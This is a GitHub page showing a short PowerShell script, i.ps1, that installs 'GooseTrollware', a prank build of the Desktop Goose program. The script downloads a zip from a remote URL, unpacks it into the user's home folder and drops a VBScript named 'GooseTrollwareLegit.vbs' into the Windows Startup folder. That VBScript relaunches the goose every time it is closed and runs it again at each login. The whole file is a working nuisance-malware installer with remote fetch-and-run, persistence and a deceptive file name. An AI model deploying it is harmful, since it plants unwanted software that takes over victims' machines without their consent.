-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathi.ps1
23 lines (21 loc) · 819 Bytes
/
i.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Download and install
Set-Location $home
Invoke-WebRequest -Uri "https://github.com/Reginald-Gillespie/G/raw/main/g.zip" -OutFile "GooseTrollware.zip"
Expand-Archive -Path "GooseTrollware.zip" -DestinationPath "GooseTrollware" -Force
# Copy VBA script to startup folder
$gloc="$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GooseTrollwareLegit.vbs"
@"
Do
Set objShell = CreateObject("WScript.Shell")
strHomeDir = objShell.ExpandEnvironmentStrings("%userprofile%")
strExePath = strHomeDir & "\GooseTrollware\Desktop Goose v0.31\DesktopGoose v0.31\GooseDesktop.exe"
Do
objShell.Run Chr(34) & strExePath & Chr(34), 1, True
Exit Do
WScript.Sleep 5000
Loop
Loop
"@ > $gloc
# And finally we start it
Start-Sleep 1
Start-Process $gloc